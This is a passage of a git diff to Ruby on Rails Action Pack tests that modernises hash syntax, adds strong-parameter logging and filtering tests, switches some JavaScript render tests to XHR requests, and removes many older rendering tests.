- render :text => "hello david"
+ render text: "hello david"
end
def custom_code
- render :text => "hello world", :status => 404
+ render text: "hello world", status: 404
end
def with_custom_code_as_string
- render :text => "hello world", :status => "404 Not Found"
+ render text: "hello world", status: "404 Not Found"
end
def with_nil
- render :text => nil
+ render text: nil
end
def with_nil_and_status
- render :text => nil, :status => 403
+ render text: nil, status: 403
end
def with_false
- render :text => false
+ render text: false
end
def with_layout_true
- render :text => "hello world", :layout => true
+ render text: "hello world", layout: true
end
def with_layout_false
- render :text => "hello world", :layout => false
+ render text: "hello world", layout: false
end
def with_layout_nil
- render :text => "hello world", :layout => nil
+ render text: "hello world", layout: nil
end
def with_custom_layout
- render :text => "hello world", :layout => "greetings"
+ render text: "hello world", layout: "greetings"
end
def with_ivar_in_layout
@ivar = "hello world"
- render :text => "hello world", :layout => "ivar"
+ render text: "hello world", layout: "ivar"
end
end
class RenderTextTest < Rack::TestCase
+ test "rendering text from a minimal controller" do
+ get "/render_text/minimal/index"
+ assert_body "Hello World!"
+ assert_status 200
+ end
+
test "rendering text from an action with default options renders the text with the layout" do
with_routing do |set|
- set.draw { get ':controller', :action => 'index' }
+ set.draw { get ':controller', action: 'index' }
get "/render_text/simple"
assert_body "hello david"
@@ -75,7 +90,7 @@ module RenderText
test "rendering text from an action with default options renders the text without the layout" do
with_routing do |set|
- set.draw { get ':controller', :action => 'index' }
+ set.draw { get ':controller', action: 'index' }
get "/render_text/with_layout"
@@ -112,28 +127,28 @@ module RenderText
assert_status 200
end
- test "rendering text with :layout => true" do
+ test "rendering text with layout: true" do
get "/render_text/with_layout/with_layout_true"
assert_body "hello world, I'm here!"
assert_status 200
end
- test "rendering text with :layout => 'greetings'" do
+ test "rendering text with layout: 'greetings'" do
get "/render_text/with_layout/with_custom_layout"
assert_body "hello world, I wish thee well."
assert_status 200
end
- test "rendering text with :layout => false" do
+ test "rendering text with layout: false" do
get "/render_text/with_layout/with_layout_false"
assert_body "hello world"
assert_status 200
end
- test "rendering text with :layout => nil" do
+ test "rendering text with layout: nil" do
get "/render_text/with_layout/with_layout_nil"
assert_body "hello world"
diff --git a/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb b/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb
index 22e603b881..9ce04b9aeb 100644
--- a/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb
+++ b/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb
@@ -10,23 +10,45 @@ class LogOnUnpermittedParamsTest < ActiveSupport::TestCase
ActionController::Parameters.action_on_unpermitted_parameters = false
end
- test "logs on unexpected params" do
+ test "logs on unexpected param" do
params = ActionController::Parameters.new({
book: { pages: 65 },
fishing: "Turnips"
})
- assert_logged("Unpermitted parameters: fishing") do
+ assert_logged("Unpermitted parameter: fishing") do
params.permit(book: [:pages])
end
end
- test "logs on unexpected nested params" do
+ test "logs on unexpected params" do
+ params = ActionController::Parameters.new({
+ book: { pages: 65 },
+ fishing: "Turnips",
+ car: "Mersedes"
+ })
+
+ assert_logged("Unpermitted parameters: fishing, car") do
+ params.permit(book: [:pages])
+ end
+ end
+
+ test "logs on unexpected nested param" do
params = ActionController::Parameters.new({
book: { pages: 65, title: "Green Cats and where to find then." }
})
- assert_logged("Unpermitted parameters: title") do
+ assert_logged("Unpermitted parameter: title") do
+ params.permit(book: [:pages])
+ end
+ end
+
+ test "logs on unexpected nested params" do
+ params = ActionController::Parameters.new({
+ book: { pages: 65, title: "Green Cats and where to find then.", author: "G. A. Dog" }
+ })
+
+ assert_logged("Unpermitted parameters: title, author") do
params.permit(book: [:pages])
end
end
diff --git a/actionpack/test/controller/parameters/nested_parameters_test.rb b/actionpack/test/controller/parameters/nested_parameters_test.rb
index 91df527dec..3b1257e8d5 100644
--- a/actionpack/test/controller/parameters/nested_parameters_test.rb
+++ b/actionpack/test/controller/parameters/nested_parameters_test.rb
@@ -169,4 +169,19 @@ class NestedParametersTest < ActiveSupport::TestCase
assert_filtered_out permitted[:book][:authors_attributes]['-1'], :age_of_death
end
+
+ test "nested number as key" do
+ params = ActionController::Parameters.new({
+ product: {
+ properties: {
+ '0' => "prop0",
+ '1' => "prop1"
+ }
+ }
+ })
+ params = params.require(:product).permit(:properties => ["0"])
+ assert_not_nil params[:properties]["0"]
+ assert_nil params[:properties]["1"]
+ assert_equal "prop0", params[:properties]["0"]
+ end
end
diff --git a/actionpack/test/controller/parameters/parameters_permit_test.rb b/actionpack/test/controller/parameters/parameters_permit_test.rb
index 437da43d9b..33a91d72d9 100644
--- a/actionpack/test/controller/parameters/parameters_permit_test.rb
+++ b/actionpack/test/controller/parameters/parameters_permit_test.rb
@@ -8,9 +8,16 @@ class ParametersPermitTest < ActiveSupport::TestCase
end
setup do
- @params = ActionController::Parameters.new({ person: {
- age: "32", name: { first: "David", last: "Heinemeier Hansson" }
- }})
+ @params = ActionController::Parameters.new(
+ person: {
+ age: '32',
+ name: {
+ first: 'David',
+ last: 'Heinemeier Hansson'
+ },
+ addresses: [{city: 'Chicago', state: 'Illinois'}]
+ }
+ )
@struct_fields = []
%w(0 1 12).each do |number|
@@ -107,6 +114,15 @@ class ParametersPermitTest < ActiveSupport::TestCase
assert_equal [], permitted[:id]
end
+ test 'do not break params filtering on nil values' do
+ params = ActionController::Parameters.new(a: 1, b: [1, 2, 3], c: nil)
+
+ permitted = params.permit(:a, c: [], b: [])
+ assert_equal 1, permitted[:a]
+ assert_equal [1, 2, 3], permitted[:b]
+ assert_equal nil, permitted[:c]
+ end
+
test 'key to empty array: arrays of permitted scalars pass' do
[['foo'], [1], ['foo', 'bar'], [1, 2, 3]].each do |array|
params = ActionController::Parameters.new(id: array)
@@ -138,6 +154,24 @@ class ParametersPermitTest < ActiveSupport::TestCase
assert_equal :foo, e.param
end
+ test "fetch with a default value of a hash does not mutate the object" do
+ params = ActionController::Parameters.new({})
+ params.fetch :foo, {}
+ assert_equal nil, params[:foo]
+ end
+
+ test 'hashes in array values get wrapped' do
+ params = ActionController::Parameters.new(foo: [{}, {}])
+ params[:foo].each do |hash|
+ assert !hash.permitted?
+ end
+ end
+
+ test 'arrays are converted at most once' do
+ params = ActionController::Parameters.new(foo: [{}])
+ assert params[:foo].equal?(params[:foo])
+ end
+
test "fetch doesnt raise ParameterMissing exception if there is a default" do
assert_equal "monkey", @params.fetch(:foo, "monkey")
assert_equal "monkey", @params.fetch(:foo) { "monkey" }
@@ -206,6 +240,7 @@ class ParametersPermitTest < ActiveSupport::TestCase
assert @params.permitted?
assert @params[:person].permitted?
assert @params[:person][:name].permitted?
+ assert @params[:person][:addresses][0].permitted?
end
test "permitted takes a default value when Parameters.permit_all_parameters is set" do
diff --git a/actionpack/test/controller/parameters/parameters_require_test.rb b/actionpack/test/controller/parameters/parameters_require_test.rb
deleted file mode 100644
index bdaba8d2d8..0000000000
--- a/actionpack/test/controller/parameters/parameters_require_test.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-require 'abstract_unit'
-require 'action_controller/metal/strong_parameters'
-
-class ParametersRequireTest < ActiveSupport::TestCase
- test "required parameters must be present not merely not nil" do
- assert_raises(ActionController::ParameterMissing) do
- ActionController::Parameters.new(person: {}).require(:person)
- end
- end
-end
diff --git a/actionpack/test/controller/params_wrapper_test.rb b/actionpack/test/controller/params_wrapper_test.rb
index d87e2b85b0..11ccb6cf3b 100644
--- a/actionpack/test/controller/params_wrapper_test.rb
+++ b/actionpack/test/controller/params_wrapper_test.rb
@@ -188,6 +188,26 @@ class ParamsWrapperTest < ActionController::TestCase
assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu', 'title' => 'Developer' }})
end
end
+
+ def test_preserves_query_string_params
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ get :parse, { 'user' => { 'username' => 'nixon' } }
+ assert_parameters(
+ {'user' => { 'username' => 'nixon' } }
+ )
+ end
+ end
+
+ def test_empty_parameter_set
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ post :parse, {}
+ assert_parameters(
+ {'user' => { } }
+ )
+ end
+ end
end
class NamespacedParamsWrapperTest < ActionController::TestCase
diff --git a/actionpack/test/controller/render_js_test.rb b/actionpack/test/controller/render_js_test.rb
index f070109b27..d550422a2f 100644
--- a/actionpack/test/controller/render_js_test.rb
+++ b/actionpack/test/controller/render_js_test.rb
@@ -22,7 +22,7 @@ class RenderJSTest < ActionController::TestCase
tests TestController
def test_render_vanilla_js
- get :render_vanilla_js_hello
+ xhr :get, :render_vanilla_js_hello
assert_equal "alert('hello')", @response.body
assert_equal "text/javascript", @response.content_type
end
diff --git a/actionpack/test/controller/render_json_test.rb b/actionpack/test/controller/render_json_test.rb
index 7c0a6bd67e..de8d1cbd9b 100644
--- a/actionpack/test/controller/render_json_test.rb
+++ b/actionpack/test/controller/render_json_test.rb
@@ -100,13 +100,13 @@ class RenderJsonTest < ActionController::TestCase
end
def test_render_json_with_callback
- get :render_json_hello_world_with_callback
+ xhr :get, :render_json_hello_world_with_callback
assert_equal 'alert({"hello":"world"})', @response.body
assert_equal 'text/javascript', @response.content_type
end
def test_render_json_with_custom_content_type
- get :render_json_with_custom_content_type
+ xhr :get, :render_json_with_custom_content_type
assert_equal '{"hello":"world"}', @response.body
assert_equal 'text/javascript', @response.content_type
end
diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb
index fd835795c0..26806fb03f 100644
--- a/actionpack/test/controller/render_test.rb
+++ b/actionpack/test/controller/render_test.rb
@@ -2,26 +2,6 @@ require 'abstract_unit'
require 'controller/fake_models'
require 'pathname'
-module Fun
- class GamesController < ActionController::Base
- # :ported:
- def hello_world
- end
-
- def nested_partial_with_form_builder
- render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
- end
- end
-end
-
-module Quiz
- class QuestionsController < ActionController::Base
- def new
- render :partial => Quiz::Question.new("Namespaced Partial")
- end
- end
-end
-
class TestControllerWithExtraEtags < ActionController::Base
etag { nil }
etag { 'ab' }
@@ -58,10 +38,6 @@ class TestController < ActionController::Base
def hello_world
end
- def hello_world_file
- render :file => File.expand_path("../../fixtures/hello", __FILE__), :formats => [:html]
- end
-
def conditional_hello
if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123])
render :action => 'hello_world'
@@ -147,327 +123,10 @@ class TestController < ActionController::Base
fresh_when(:last_modified => Time.now.utc.beginning_of_day, :etag => [ :foo, 123 ])
end
- # :ported:
- def render_hello_world
- render :template => "test/hello_world"
- end
-
- def render_hello_world_with_last_modified_set
- response.last_modified = Date.new(2008, 10, 10).to_time
- render :template => "test/hello_world"
- end
-
- # :ported: compatibility
- def render_hello_world_with_forward_slash
- render :template => "/test/hello_world"
- end
-
- # :ported:
- def render_template_in_top_directory
- render :template => 'shared'
- end
-
- # :deprecated:
- def render_template_in_top_directory_with_slash
- render :template => '/shared'
- end
-
- # :ported:
- def render_hello_world_from_variable
- @person = "david"
- render :text => "hello #{@person}"
- end
-
- # :ported:
- def render_action_hello_world
- render :action => "hello_world"
- end
-
- def render_action_upcased_hello_world
- render :action => "Hello_world"
- end
-
- def render_action_hello_world_as_string
- render "hello_world"
- end
-
- def render_action_hello_world_with_symbol
- render :action => :hello_world
- end
-
- # :ported:
- def render_text_hello_world
- render :text => "hello world"
- end
-
- # :ported:
- def render_text_hello_world_with_layout
- @variable_for_layout = ", I am here!"
- render :text => "hello world", :layout => true
- end
-
- def hello_world_with_layout_false
- render :layout => false
- end
-
- # :ported:
- def render_file_with_instance_variables
- @secret = 'in the sauce'
- path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar')
- render :file => path
- end
-
- # :ported:
- def render_file_as_string_with_instance_variables
- @secret = 'in the sauce'
- path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar'))
- render path
- end
-
- # :ported:
- def render_file_not_using_full_path
- @secret = 'in the sauce'
- render :file => 'test/render_file_with_ivar'
- end
-
- def render_file_not_using_full_path_with_dot_in_path
- @secret = 'in the sauce'
- render :file => 'test/dot.directory/render_file_with_ivar'
- end
-
- def render_file_using_pathname
- @secret = 'in the sauce'
- render :file => Pathname.new(File.dirname(__FILE__)).join('..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar')
- end
-
- def render_file_from_template
- @secret = 'in the sauce'
- @path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar'))
- end
-
- def render_file_with_locals
- path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals')
- render :file => path, :locals => {:secret => 'in the sauce'}
- end
-
- def render_file_as_string_with_locals
- path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals'))
- render path, :locals => {:secret => 'in the sauce'}
- end
-
- def accessing_request_in_template
- render :inline => "Hello: <%= request.host %>"
- end
-
- def accessing_logger_in_template
- render :inline => "<%= logger.class %>"
- end
-
- def accessing_action_name_in_template
- render :inline => "<%= action_name %>"
- end
-
- def accessing_controller_name_in_template
- render :inline => "<%= controller_name %>"
- end
-
- # :ported:
- def render_custom_code
- render :text => "hello world", :status => 404
- end
-
- # :ported:
- def render_text_with_nil
- render :text => nil
- end
-
- # :ported:
- def render_text_with_false
- render :text => false
- end
-
- def render_text_with_resource
- render :text => Customer.new("David")
- end
-
- # :ported:
- def render_nothing_with_appendix
- render :text => "appended"
- end
-
- # This test is testing 3 things:
- # render :file in AV :ported:
- # render :template in AC :ported:
- # setting content type
- def render_xml_hello
- @name = "David"
- render :template => "test/hello"
- end
-
- def render_xml_hello_as_string_template
- @name = "David"
- render "test/hello"
- end
-
- def render_line_offset
- render :inline => '<% raise %>', :locals => {:foo => 'bar'}
- end
-
def heading
head :ok
end
- def greeting
- # let's just rely on the template
- end
-
- # :ported:
- def blank_response
- render :text => ' '
- end
-
- # :ported:
- def layout_test
- render :action => "hello_world"
- end
-
- # :ported:
- def builder_layout_test
- @name = nil
- render :action => "hello", :layout => "layouts/builder"
- end
-
- # :move: test this in Action View
- def builder_partial_test
- render :action => "hello_world_container"
- end
-
- # :ported:
- def partials_list
- @test_unchanged = 'hello'
- @customers = [ Customer.new("david"), Customer.new("mary") ]
- render :action => "list"
- end
-
- def partial_only
- render :partial => true
- end
-
- def hello_in_a_string
- @customers = [ Customer.new("david"), Customer.new("mary") ]
- render :text => "How's there? " + render_to_string(:template => "test/list")
- end
-
- def accessing_params_in_template
- render :inline => "Hello: <%= params[:name] %>"
- end
-
- def accessing_local_assigns_in_inline_template
- name = params[:local_name]
- render :inline => "<%= 'Goodbye, ' + local_name %>",
- :locals => { :local_name => name }
- end
-
- def render_implicit_html_template_from_xhr_request
- end
-
- def render_implicit_js_template_without_layout
- end
-
- def formatted_html_erb
- end
-
- def formatted_xml_erb
- end
-
- def render_to_string_test
- @foo = render_to_string :inline => "this is a test"
- end
-
- def default_render
- @alternate_default_render ||= nil
- if @alternate_default_render
- @alternate_default_render.call
- else
- super
- end
- end
-
- def render_action_hello_world_as_symbol
- render :action => :hello_world
- end
-
- def layout_test_with_different_layout
- render :action => "hello_world", :layout => "standard"
- end
-
- def layout_test_with_different_layout_and_string_action
- render "hello_world", :layout => "standard"
- end
-
- def layout_test_with_different_layout_and_symbol_action
- render :hello_world, :layout => "standard"
- end
-
- def rendering_without_layout
- render :action => "hello_world", :layout => false
- end
-
- def layout_overriding_layout
- render :action => "hello_world", :layout => "standard"
- end
-
- def rendering_nothing_on_layout
- render :nothing => true
- end
-
- def render_to_string_with_assigns
- @before = "i'm before the render"
- render_to_string :text => "foo"
- @after = "i'm after the render"
- render :template => "test/hello_world"
- end
-
- def render_to_string_with_exception
- render_to_string :file => "exception that will not be caught - this will certainly not work"
- end
-
- def render_to_string_with_caught_exception
- @before = "i'm before the render"
- begin
- render_to_string :file => "exception that will be caught- hope my future instance vars still work!"
- rescue
- end
- @after = "i'm after the render"
- render :template => "test/hello_world"
- end
-
- def accessing_params_in_template_with_layout
- render :layout => true, :inline => "Hello: <%= params[:name] %>"
- end
-
- # :ported:
- def render_with_explicit_template
- render :template => "test/hello_world"
- end
-
- def render_with_explicit_unescaped_template
- render :template => "test/h*llo_world"
- end
-
- def render_with_explicit_escaped_template
- render :template => "test/hello,world"
- end
-
- def render_with_explicit_string_template
- render "test/hello_world"
- end
-
- # :ported:
- def render_with_explicit_template_with_locals
- render :template => "test/render_file_with_locals", :locals => { :secret => 'area51' }
- end
-
# :ported:
def double_render
render :text => "hello"
@@ -508,25 +167,6 @@ class TestController < ActionController::Base
render :template => "test/hello_world_from_rxml", :handlers => [:builder]
end
- def action_talk_to_layout
- # Action template sets variable that's picked up by layout
- end
-
- # :addressed:
- def render_text_with_assigns
- @hello = "world"
- render :text => "foo"
- end
-
- def yield_content_for
- render :action => "content_for", :layout => "yield"
- end
-
- def render_content_type_from_body
- response.content_type = Mime::RSS
- render :text => "hello world!"
- end
-
def head_created
head :created
end
@@ -571,162 +211,6 @@ class TestController < ActionController::Base
head :forbidden, :x_custom_header => "something"
end
- def render_using_layout_around_block
- render :action => "using_layout_around_block"
- end
-
- def render_using_layout_around_block_in_main_layout_and_within_content_for_layout
- render :action => "using_layout_around_block", :layout => "layouts/block_with_layout"
- end
-
- def partial_formats_html
- render :partial => 'partial', :formats => [:html]
- end
-
- def partial
- render :partial => 'partial'
- end
-
- def partial_html_erb
- render :partial => 'partial_html_erb'
- end
-
- def render_to_string_with_partial
- @partial_only = render_to_string :partial => "partial_only"
- @partial_with_locals = render_to_string :partial => "customer", :locals => { :customer => Customer.new("david") }
- render :template => "test/hello_world"
- end
-
- def render_to_string_with_template_and_html_partial
- @text = render_to_string :template => "test/with_partial", :formats => [:text]
- @html = render_to_string :template => "test/with_partial", :formats => [:html]
- render :template => "test/with_html_partial"
- end
-
- def render_to_string_and_render_with_different_formats
- @html = render_to_string :template => "test/with_partial", :formats => [:html]
- render :template => "test/with_partial", :formats => [:text]
- end
-
- def render_template_within_a_template_with_other_format
- render :template => "test/with_xml_template",
- :formats => [:html],
- :layout => "with_html_partial"
- end
-
- def partial_with_counter
- render :partial => "counter", :locals => { :counter_counter => 5 }
- end
-
- def partial_with_locals
- render :partial => "customer", :locals => { :customer => Customer.new("david") }
- end
-
- def partial_with_form_builder
- render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
- end
-
- def partial_with_form_builder_subclass
- render :partial => LabellingFormBuilder.new(:post, nil, view_context, {})
- end
-
- def partial_collection
- render :partial => "customer", :collection => [ Customer.new("david"), Customer.new("mary") ]
- end
-
- def partial_collection_with_as
- render :partial => "customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer
- end
-
- def partial_collection_with_counter
- render :partial => "customer_counter", :collection => [ Customer.new("david"), Customer.new("mary") ]
- end
-
- def partial_collection_with_as_and_counter
- render :partial => "customer_counter_with_as", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :client
- end
-
- def partial_collection_with_locals
- render :partial => "customer_greeting", :collection => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
- end
-
- def partial_collection_with_spacer
- render :partial => "customer", :spacer_template => "partial_only", :collection => [ Customer.new("david"), Customer.new("mary") ]
- end
-
- def partial_collection_with_spacer_which_uses_render
- render :partial => "customer", :spacer_template => "partial_with_partial", :collection => [ Customer.new("david"), Customer.new("mary") ]
- end
-
- def partial_collection_shorthand_with_locals
- render :partial => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
- end
-
- def partial_collection_shorthand_with_different_types_of_records
- render :partial => [
- BadCustomer.new("mark"),
- GoodCustomer.new("craig"),
- BadCustomer.new("john"),
- GoodCustomer.new("zach"),
- GoodCustomer.new("brandon"),
- BadCustomer.new("dan") ],
- :locals => { :greeting => "Bonjour" }
- end
-
- def empty_partial_collection
- render :partial => "customer", :collection => []
- end
-
- def partial_collection_shorthand_with_different_types_of_records_with_counter
- partial_collection_shorthand_with_different_types_of_records
- end
-
- def missing_partial
- render :partial => 'thisFileIsntHere'
- end
-
- def partial_with_hash_object
- render :partial => "hash_object", :object => {:first_name => "Sam"}
- end
-
- def partial_with_nested_object
- render :partial => "quiz/questions/question", :object => Quiz::Question.new("first")
- end
-
- def partial_with_nested_object_shorthand
- render Quiz::Question.new("first")
- end
-
- def partial_hash_collection
- render :partial => "hash_object", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ]
- end
-
- def partial_hash_collection_with_locals
- render :partial => "hash_greeting", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ], :locals => { :greeting => "Hola" }
- end
-
- def partial_with_implicit_local_assignment
- @customer = Customer.new("Marcel")
- render :partial => "customer"
- end
-
- def render_call_to_partial_with_layout
- render :action => "calling_partial_with_layout"
- end
-
- def render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
- render :action => "calling_partial_with_layout", :layout => "layouts/partial_with_layout"
- end
-
- before_action only: :render_with_filters do
- request.format = :xml
- end
-
- # Ensure that the before filter is executed *before* self.formats is set.
- def render_with_filters
- render :action => :formatted_xml_erb
- end
-
private
def set_variable_for_layout
@@ -755,6 +239,8 @@ class TestController < ActionController::Base
end
class MetalTestController < ActionController::Metal
+ include AbstractController::Rendering
+ include ActionView::Rendering
include ActionController::Rendering
def accessing_logger_in_template
@@ -762,788 +248,9 @@ class MetalTestController < ActionController::Metal
end
end
-class RenderTest < ActionController::TestCase
- tests TestController
-
- def setup
- # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
- # a more accurate simulation of what happens in "real life".
- super
- @controller.logger = ActiveSupport::Logger.new(nil)
- ActionView::Base.logger = ActiveSupport::Logger.new(nil)
-
- @request.host = "www.nextangle.com"
- end
-
- # :ported:
- def test_simple_show
- get :hello_world
- assert_response 200
- assert_response :success
- assert_template "test/hello_world"
- assert_equal "<html>Hello world!</html>", @response.body
- end
-
- # :ported:
- def test_renders_default_template_for_missing_action
- get :'hyphen-ated'
- assert_template 'test/hyphen-ated'
- end
-
- # :ported:
- def test_render
- get :render_hello_world
- assert_template "test/hello_world"
- end
-
- def test_line_offset
- get :render_line_offset
- flunk "the action should have raised an exception"
- rescue StandardError => exc
- line = exc.backtrace.first
- assert(line =~ %r{:(\d+):})
- assert_equal "1", $1,
- "The line offset is wrong, perhaps the wrong exception has been raised, exception was: #{exc.inspect}"
- end
-
- # :ported: compatibility
- def test_render_with_forward_slash
- get :render_hello_world_with_forward_slash
- assert_template "test/hello_world"
- end
-
- # :ported:
- def test_render_in_top_directory
- get :render_template_in_top_directory
- assert_template "shared"
- assert_equal "Elastica", @response.body
- end
-
- # :ported:
- def test_render_in_top_directory_with_slash
- get :render_template_in_top_directory_with_slash
- assert_template "shared"
- assert_equal "Elastica", @response.body
- end
-
- # :ported:
- def test_render_from_variable
- get :render_hello_world_from_variable
- assert_equal "hello david", @response.body
- end
-
- # :ported:
- def test_render_action
- get :render_action_hello_world
- assert_template "test/hello_world"
- end
-
- def test_render_action_upcased
- assert_raise ActionView::MissingTemplate do
- get :render_action_upcased_hello_world
- end
- end
-
- # :ported:
- def test_render_action_hello_world_as_string
- get :render_action_hello_world_as_string
- assert_equal "Hello world!", @response.body
- assert_template "test/hello_world"
- end
-
- # :ported:
- def test_render_action_with_symbol
- get :render_action_hello_world_with_symbol
- assert_template "test/hello_world"
- end
-
- # :ported:
- def test_render_text
- get :render_text_hello_world
- assert_equal "hello world", @response.body
- end
-
- # :ported:
- def test_do_with_render_text_and_layout
- get :render_text_hello_world_with_layout
- assert_equal "<html>hello world, I am here!</html>", @response.body
- end
-
- # :ported:
- def test_do_with_render_action_and_layout_false
- get :hello_world_with_layout_false
- assert_equal 'Hello world!', @response.body
- end
-
- # :ported:
- def test_render_file_with_instance_variables
- get :render_file_with_instance_variables
- assert_equal "The secret is in the sauce\n", @response.body
- end
-
- def test_render_file
- get :hello_world_file
- assert_equal "Hello world!", @response.body
- end
-
- # :ported:
- def test_render_file_as_string_with_instance_variables
- get :render_file_as_string_with_instance_variables
- assert_equal "The secret is in the sauce\n", @response.body
- end
-
- # :ported:
- def test_render_file_not_using_full_path
- get :render_file_not_using_full_path
- assert_equal "The secret is in the sauce\n", @response.body
- end
-
- # :ported:
- def test_render_file_not_using_full_path_with_dot_in_path
- get :render_file_not_using_full_path_with_dot_in_path
- assert_equal "The secret is in the sauce\n", @response.body
- end
-
- # :ported:
- def test_render_file_using_pathname
- get :render_file_using_pathname
- assert_equal "The secret is in the sauce\n", @response.body
- end
-
- # :ported:
- def test_render_file_with_locals
- get :render_file_with_locals
- assert_equal "The secret is in the sauce\n", @response.body
- end
-
- # :ported:
- def test_render_file_as_string_with_locals
- get :render_file_as_string_with_locals
- assert_equal "The secret is in the sauce\n", @response.body
- end
-
- # :assessed:
- def test_render_file_from_template
- get :render_file_from_template
- assert_equal "The secret is in the sauce\n", @response.body
- end
-
- # :ported:
- def test_render_custom_code
- get :render_custom_code
- assert_response 404
- assert_response :missing
- assert_equal 'hello world', @response.body
- end
-
- # :ported:
- def test_render_text_with_nil
- get :render_text_with_nil
- assert_response 200
- assert_equal ' ', @response.body
- end
-
- # :ported:
- def test_render_text_with_false
- get :render_text_with_false
- assert_equal 'false', @response.body
- end
-
- # :ported:
- def test_render_nothing_with_appendix
- get :render_nothing_with_appendix
- assert_response 200
- assert_equal 'appended', @response.body
- end
-
- def test_render_text_with_resource
- get :render_text_with_resource
- assert_equal 'name: "David"', @response.body
- end
-
- # :ported:
- def test_attempt_to_access_object_method
- assert_raise(AbstractController::ActionNotFound, "No action responded to [clone]") { get :clone }
- end
-
- # :ported:
- def test_private_methods
- assert_raise(AbstractController::ActionNotFound, "No action responded to [determine_layout]") { get :determine_layout }
- end
-
- # :ported:
- def test_access_to_request_in_view
- get :accessing_request_in_template
- assert_equal "Hello: www.nextangle.com", @response.body
- end
-
- def test_access_to_logger_in_view
- get :accessing_logger_in_template
- assert_equal "ActiveSupport::Logger", @response.body
- end
-
- # :ported:
- def test_access_to_action_name_in_view
- get :accessing_action_name_in_template
- assert_equal "accessing_action_name_in_template", @response.body
- end
-
- # :ported:
- def test_access_to_controller_name_in_view
- get :accessing_controller_name_in_template
- assert_equal "test", @response.body # name is explicitly set in the controller.
- end
-
- # :ported:
- def test_render_xml
- get :render_xml_hello
- assert_equal "<html>\n <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
- assert_equal "application/xml", @response.content_type
- end
-
- # :ported:
- def test_render_xml_as_string_template
- get :render_xml_hello_as_string_template
- assert_equal "<html>\n <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
- assert_equal "application/xml", @response.content_type
- end
-
- # :ported:
- def test_render_xml_with_default
- get :greeting
- assert_equal "<p>This is grand!</p>\n", @response.body
- end
-
- # :move: test in AV
- def test_render_xml_with_partial
- get :builder_partial_test
- assert_equal "<test>\n <hello/>\n</test>\n", @response.body
- end
-
- # :ported:
- def test_layout_rendering
- get :layout_test
- assert_equal "<html>Hello world!</html>", @response.body
- end
-
- def test_render_xml_with_layouts
- get :builder_layout_test
- assert_equal "<wrapper>\n<html>\n <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n", @response.body
- end
-
- def test_partials_list
- get :partials_list
- assert_equal "goodbyeHello: davidHello: marygoodbye\n", @response.body
- end
-
- def test_render_to_string
- get :hello_in_a_string
- assert_equal "How's there? goodbyeHello: davidHello: marygoodbye\n", @response.body
- end
-
- def test_render_to_string_resets_assigns
- get :render_to_string_test
- assert_equal "The value of foo is: ::this is a test::\n", @response.body
- end
-
- def test_render_to_string_inline
- get :render_to_string_with_inline_and_render
- assert_template "test/hello_world"
- end
-
- # :ported:
- def test_nested_rendering
- @controller = Fun::GamesController.new
- get :hello_world
- assert_equal "Living in a nested world", @response.body
- end
-
- def test_accessing_params_in_template
- get :accessing_params_in_template, :name => "David"
- assert_equal "Hello: David", @response.body
- end
-
- def test_accessing_local_assigns_in_inline_template
- get :accessing_local_assigns_in_inline_template, :local_name => "Local David"
- assert_equal "Goodbye, Local David", @response.body
- assert_equal "text/html", @response.content_type
- end
-
- def test_should_implicitly_render_html_template_from_xhr_request
- xhr :get, :render_implicit_html_template_from_xhr_request
- assert_equal "XHR!\nHello HTML!", @response.body
- end
-
- def test_should_implicitly_render_js_template_without_layout
- get :render_implicit_js_template_without_layout, :format => :js
- assert_no_match %r{<html>}, @response.body
- end
-
- def test_should_render_formatted_template
- get :formatted_html_erb
- assert_equal 'formatted html erb', @response.body
- end
-
- def test_should_render_formatted_html_erb_template
- get :formatted_xml_erb
- assert_equal '<test>passed formatted html erb</test>', @response.body
- end
-
- def test_should_render_formatted_html_erb_template_with_bad_accepts_header
- @request.env["HTTP_ACCEPT"] = "; a=dsf"
- get :formatted_xml_erb
- assert_equal '<test>passed formatted html erb</test>', @response.body
- end
-
- def test_should_render_formatted_html_erb_template_with_faulty_accepts_header
- @request.accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appliction/x-shockwave-flash, */*"
- get :formatted_xml_erb
- assert_equal '<test>passed formatted html erb</test>', @response.body
- end
-
- def test_layout_test_with_different_layout
- get :layout_test_with_different_layout
- assert_equal "<html>Hello world!</html>", @response.body
- end
-
- def test_layout_test_with_different_layout_and_string_action
- get :layout_test_with_different_layout_and_string_action
- assert_equal "<html>Hello world!</html>", @response.body
- end
-
- def test_layout_test_with_different_layout_and_symbol_action
- get :layout_test_with_different_layout_and_symbol_action
- assert_equal "<html>Hello world!</html>", @response.body
- end
-
- def test_rendering_without_layout
- get :rendering_without_layout
- assert_equal "Hello world!", @response.body
- end
-
- def test_layout_overriding_layout
- get :layout_overriding_layout
